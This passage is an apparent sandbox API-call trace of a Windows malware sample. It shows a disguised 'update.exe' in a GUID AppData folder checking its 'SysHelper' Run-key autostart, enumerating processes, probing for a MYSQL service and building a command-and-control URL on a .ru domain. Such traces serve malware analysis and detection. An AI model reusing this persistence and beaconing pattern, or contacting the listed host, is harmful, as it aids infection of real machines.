56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x73\xe7\xc4\x3e\x40\xfd\x18", lpUsedDefaultChar=0x0) returned 256 [0110.587] GetLastError () returned 0x0 [0110.587] SetLastError (dwErrCode=0x0) [0110.587] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fc04, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0110.587] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fc04, cbMultiByte=256, lpWideCharStr=0x18f558, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ") returned 256 [0110.588] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0110.588] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ", cchSrc=256, lpDestStr=0x18f348, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȀ") returned 256 [0110.588] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȀ", cchWideChar=256, lpMultiByteStr=0x18fa04, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xf7\xd8\xd9\xda\xdb\xdc\xdd\xde\x9f\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x73\xe7\xc4\x3e\x40\xfd\x18", lpUsedDefaultChar=0x0) returned 256 [0110.588] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0110.588] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x41c0db) returned 0x40972f [0110.589] GetCurrentProcess () returned 0xffffffff [0110.590] GetLastError () returned 0x0 [0110.590] SetPriorityClass (hProcess=0xffffffff, dwPriorityClass=0x80) returned 1 [0110.590] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Run", ulOptions=0x0, samDesired=0xf003f, phkResult=0x189f9c | out: phkResult=0x189f9c*=0xbc) returned 0x0 [0110.590] RegQueryValueExW (in: hKey=0xbc, lpValueName="SysHelper", lpReserved=0x0, lpType=0x189f90, lpData=0x18b070, lpcbData=0x189fb8*=0x400 | out: lpType=0x189f90*=0x2, lpData="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\544c4f6e-08e8-406f-ae98-d88505d8a2e3\\update.exe\" --AutoStart", lpcbData=0x189fb8*=0xd4) returned 0x0 [0110.590] RegCloseKey (hKey=0xbc) returned 0x0 [0110.590] lstrlenA (lpString="\" --AutoStart") returned 13 [0110.590] PathFileExistsW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\544c4f6e-08e8-406f-ae98-d88505d8a2e3\\update.exe") returned 1 [0110.591] GetCommandLineW () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\544c4f6e-08e8-406f-ae98-d88505d8a2e3\\update.exe\" --Admin IsAutoStart IsNotTask" [0110.591] CommandLineToArgvW (in: lpCmdLine="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\544c4f6e-08e8-406f-ae98-d88505d8a2e3\\update.exe\" --Admin IsAutoStart IsNotTask", pNumArgs=0x18d0d0 | out: pNumArgs=0x18d0d0) returned 0x64d3c8*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\544c4f6e-08e8-406f-ae98-d88505d8a2e3\\update.exe" [0110.591] lstrcpyW (in: lpString1=0x18f598, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\544c4f6e-08e8-406f-ae98-d88505d8a2e3\\update.exe" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\544c4f6e-08e8-406f-ae98-d88505d8a2e3\\update.exe") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\544c4f6e-08e8-406f-ae98-d88505d8a2e3\\update.exe" [0110.591] GetCommandLineW () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\544c4f6e-08e8-406f-ae98-d88505d8a2e3\\update.exe\" --Admin IsAutoStart IsNotTask" [0110.591] CommandLineToArgvW (in: lpCmdLine="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\544c4f6e-08e8-406f-ae98-d88505d8a2e3\\update.exe\" --Admin IsAutoStart IsNotTask", pNumArgs=0x18d064 | out: pNumArgs=0x18d064) returned 0x64d3c8*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\544c4f6e-08e8-406f-ae98-d88505d8a2e3\\update.exe" [0110.591] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\544c4f6e-08e8-406f-ae98-d88505d8a2e3\\update.exe") returned="update.exe" [0110.591] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x773e0000 [0110.591] GetProcAddress (hModule=0x773e0000, lpProcName="EnumProcesses") returned 0x0 [0110.592] GetProcAddress (hModule=0x773e0000, lpProcName="EnumProcessModules") returned 0x0 [0110.592] GetProcAddress (hModule=0x773e0000, lpProcName="GetModuleBaseNameW") returned 0x0 [0110.592] LoadLibraryW (lpLibFileName="Psapi.dll") returned 0x770c0000 [0110.593] GetProcAddress (hModule=0x770c0000, lpProcName="EnumProcesses") returned 0x770c1544 [0110.593] GetProcAddress (hModule=0x770c0000, lpProcName="EnumProcessModules") returned 0x770c1408 [0110.593] GetProcAddress (hModule=0x770c0000, lpProcName="GetModuleBaseNameW") returned 0x770c152c [0110.593] EnumProcesses (in: lpidProcess=0x182860, cb=0xa000, lpcbNeeded=0x18d070 | out: lpidProcess=0x182860, lpcbNeeded=0x18d070) returned 1 [0110.594] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x0) returned 0x0 [0110.594] CloseHandle (hObject=0x0) returned 0 [0110.594] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0110.594] CloseHandle (hObject=0x0) returned 0 [0110.594] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x104) returned 0x0 [0110.594] CloseHandle (hObject=0x0) returned 0 [0110.594] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x148) returned 0x0 [0110.594] CloseHandle (hObject=0x0) returned 0 [0110.594] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x17c) returned 0x0 [0110.594] CloseHandle (hObject=0x0) returned 0 [0110.594] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x188) returned 0x0 [0110.595] CloseHandle (hObject=0x0) returned 0 [0110.595] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1b0) returned 0x0 [0110.595] CloseHandle (hObject=0x0) returned 0 [0110.595] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1c8) returned 0x0 [0110.595] CloseHandle (hObject=0x0) returned 0 [0110.595] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1d0) returned 0x0 [0110.595] CloseHandle (hObject=0x0) returned 0 [0110.595] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1d8) returned 0x0 [0110.595] CloseHandle (hObject=0x0) returned 0 [0110.595] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x254) returned 0x0 [0110.595] CloseHandle (hObject=0x0) returned 0 [0110.595] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x298) returned 0x0 [0110.595] CloseHandle (hObject=0x0) returned 0 [0110.595] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x2cc) returned 0x0 [0110.595] CloseHandle (hObject=0x0) returned 0 [0110.595] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x33c) returned 0x0 [0110.595] CloseHandle (hObject=0x0) returned 0 [0110.595] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x374) returned 0x0 [0110.595] CloseHandle (hObject=0x0) returned 0 [0110.595] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x3b0) returned 0x0 [0110.595] CloseHandle (hObject=0x0) returned 0 [0110.595] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x3fc) returned 0x0 [0110.595] CloseHandle (hObject=0x0) returned 0 [0110.595] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x30c) returned 0xbc [0110.595] EnumProcessModules (in: hProcess=0xbc, lphModule=0x18d07c, cb=0x4, lpcbNeeded=0x18d060 | out: lphModule=0x18d07c, lpcbNeeded=0x18d060) returned 0 [0110.596] CloseHandle (hObject=0xbc) returned 1 [0110.596] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x370) returned 0xbc [0110.596] EnumProcessModules (in: hProcess=0xbc, lphModule=0x18d07c, cb=0x4, lpcbNeeded=0x18d060 | out: lphModule=0x18d07c, lpcbNeeded=0x18d060) returned 0 [0110.596] CloseHandle (hObject=0xbc) returned 1 [0110.596] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x414) returned 0xbc [0110.596] EnumProcessModules (in: hProcess=0xbc, lphModule=0x18d07c, cb=0x4, lpcbNeeded=0x18d060 | out: lphModule=0x18d07c, lpcbNeeded=0x18d060) returned 0 [0110.596] CloseHandle (hObject=0xbc) returned 1 [0110.596] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x448) returned 0x0 [0110.596] CloseHandle (hObject=0x0) returned 0 [0110.596] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x500) returned 0x0 [0110.596] CloseHandle (hObject=0x0) returned 0 [0110.596] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x53c) returned 0xbc [0110.596] EnumProcessModules (in: hProcess=0xbc, lphModule=0x18d07c, cb=0x4, lpcbNeeded=0x18d060 | out: lphModule=0x18d07c, lpcbNeeded=0x18d060) returned 0 [0110.596] CloseHandle (hObject=0xbc) returned 1 [0110.596] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x54c) returned 0x0 [0110.596] CloseHandle (hObject=0x0) returned 0 [0110.596] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x570) returned 0xbc [0110.596] EnumProcessModules (in: hProcess=0xbc, lphModule=0x18d07c, cb=0x4, lpcbNeeded=0x18d060 | out: lphModule=0x18d07c, lpcbNeeded=0x18d060) returned 1 [0110.597] GetModuleBaseNameW (in: hProcess=0xbc, hModule=0x400000, lpBaseName=0x18c860, nSize=0x400 | out: lpBaseName="reader_sl.exe") returned 0xd [0110.597] CloseHandle (hObject=0xbc) returned 1 [0110.597] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x7b4) returned 0x0 [0110.598] CloseHandle (hObject=0x0) returned 0 [0110.598] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x138) returned 0xbc [0110.598] EnumProcessModules (in: hProcess=0xbc, lphModule=0x18d07c, cb=0x4, lpcbNeeded=0x18d060 | out: lphModule=0x18d07c, lpcbNeeded=0x18d060) returned 0 [0110.599] CloseHandle (hObject=0xbc) returned 1 [0110.599] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x318) returned 0x0 [0110.599] CloseHandle (hObject=0x0) returned 0 [0110.599] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x638) returned 0x0 [0110.599] CloseHandle (hObject=0x0) returned 0 [0110.599] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x68c) returned 0xbc [0110.599] EnumProcessModules (in: hProcess=0xbc, lphModule=0x18d07c, cb=0x4, lpcbNeeded=0x18d060 | out: lphModule=0x18d07c, lpcbNeeded=0x18d060) returned 1 [0110.599] GetModuleBaseNameW (in: hProcess=0xbc, hModule=0x400000, lpBaseName=0x18c860, nSize=0x400 | out: lpBaseName="update.exe") returned 0xa [0110.599] CloseHandle (hObject=0xbc) returned 1 [0110.599] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x64d4d8, nSize=0x400 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\544c4f6e-08e8-406f-ae98-d88505d8a2e3\\update.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\544c4f6e-08e8-406f-ae98-d88505d8a2e3\\update.exe")) returned 0x5b [0110.600] PathRemoveFileSpecW (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\544c4f6e-08e8-406f-ae98-d88505d8a2e3\\update.exe" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\544c4f6e-08e8-406f-ae98-d88505d8a2e3") returned 1 [0110.600] GetCommandLineW () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\544c4f6e-08e8-406f-ae98-d88505d8a2e3\\update.exe\" --Admin IsAutoStart IsNotTask" [0110.600] CommandLineToArgvW (in: lpCmdLine="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\544c4f6e-08e8-406f-ae98-d88505d8a2e3\\update.exe\" --Admin IsAutoStart IsNotTask", pNumArgs=0x18d0d0 | out: pNumArgs=0x18d0d0) returned 0x64e4f8*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\544c4f6e-08e8-406f-ae98-d88505d8a2e3\\update.exe" [0110.600] lstrcmpW (lpString1="IsAutoStart", lpString2="IsAutoStart") returned 0 [0110.602] lstrcmpW (lpString1="IsTask", lpString2="IsNotTask") returned 1 [0110.602] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x1) returned 0x64ecd8 [0110.605] OpenServiceW (hSCManager=0x64ecd8, lpServiceName="MYSQL", dwDesiredAccess=0x20) returned 0x0 [0110.605] lstrlenA (lpString="http://paulmcnagets.ru/003/get.php") returned 34 [0110.605] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x652df0, cbMultiByte=-1, lpWideCharStr=0x642e68, cchWideChar=35 | out: lpWideCharStr="http://paulmcnagets.ru/003/get.php") returned 35 [0110.605] lstrcatW (in: lpString1="", lpString2="http://paulmcnagets.ru/003/get.php" | out: lpString1="http://paulmcnagets.ru/003/get.php") returned="http://paulmcnagets.ru/003/get.php" [0110.605] lstrlenA (lpString="") returned 0 [0110.606] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x653058, cbMultiByte=-1, lpWideCharStr=0x63a0e0, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0110.606] lstrcatW (in: lpString1="http://paulmcnagets.ru/003/get.php", lpString2="" | out: lpString1="http://paulmcnagets.ru/003/get.php") returned="http://paulmcnagets.ru/003/get.php" [0110.606] lstrlenA (lpString="") returned 0 [0110.606] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6532c0, cbMultiByte=-1, lpWideCharStr=0x63a100, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0110.606] lstrcatW (in: lpString1="http://paulmcnagets.ru/003/get.php", lpString2="" | out: lpString1="http://paulmcnagets.ru/003/get.php") returned="http://paulmcnagets.ru/003/get.php" [0110.606] lstrlenA (lpString="") returned 0 [0110.606] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x653528, cbMultiByte=-1, lpWideCharStr=0x63a110, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0110.606] lstrcatW (in: lpString1="http://paulmcnagets.ru/003/get.php", lpString2="" | out: lpString1="http://paulmcnagets.ru/003/get.php") returned="http://paulmcnagets.ru/003/get.php" [0110.606] lstrlenA (lpString="") returned 0 [0110.606] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x653790, cbMultiByte=-1, lpWideCharStr=0x63a120, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0110.606] lstrcatW (in: lpString1="http://paulmcnagets.ru/003/get.php", lpString2="" | out: lpString1="http://paulmcnagets.ru/003/get.php") returned="http://paulmcnagets.ru/003/get.php" [0110.606] lstrlenA (lpString="") returned 0 [0110.606] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6539f8, cbMultiByte=-1, lpWideCharStr=0x63a130, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0110.606] lstrcatW (in: lpString1="http://paulmcnagets.ru/003/get.php", lpString2="" | out: lpString1="http://paulmcnagets.ru/003/get.php") returned="http://paulmcnagets.ru/003/get.php" [0110.606] lstrlenA (lpString="") returned 0 [0110.606] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x653c60, cbMultiByte=-1, lpWideCharStr=0x63a140, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0110.606] lstrcatW (in: lpString1="http://paulmcnagets.ru/003/get.php", lpString2="" | out: lpString1="http://paulmcnagets.ru/003/get.php") returned="http://paulmcnagets.ru/003/get.php" [0110.606] lstrlenA (lpString="") returned 0 [0110.606] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x653ee0, cbMultiByte=-1, lpWideCharStr=0x63a150, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0110.606] lstrcatW (in: lpString1="http://paulmcnagets.ru/003/get.php", lpString2="" | out: lpString1="http://paulmcnagets.ru/003/get.php") returned="http://paulmcnagets.ru/003/get.php" [0110.606] lstrlenA (lpString="") returned 0 [0110.606] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x654148, cbMultiByte=-1, lpWideCharStr=0x63a160, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0110.606] lstrcatW (in: lpString1="http://paulmcnagets.ru/003/get.php", lpString2="" | out: lpString1="http://paulmcnagets.ru/003/get.php") returned="http://paulmcnagets.ru/003/get.php" [0110.606] lstrlenA (lpString="") returned 0 [0110.606] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6543b0, cbMultiByte=-1, lpWideCharStr=0x63a170, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0110.606] lstrcatW (in: lpString1="http://paulmcnagets.ru/003/get.php", lpString2="" | out: lpString1="http://paulmcnagets.ru/003/get.php") returned="http://paulmcnagets.ru/003/get.php" [0110.606] lstrlenW (lpString="") returned 0 [0110.606] GetAdaptersInfo (in: AdapterInfo=0x657ec8, SizePointer=0x18d024 | out: AdapterInfo=0x657ec8, SizePointer=0x18d024) returned 0x0 [0110.627] GetAdaptersInfo (in: 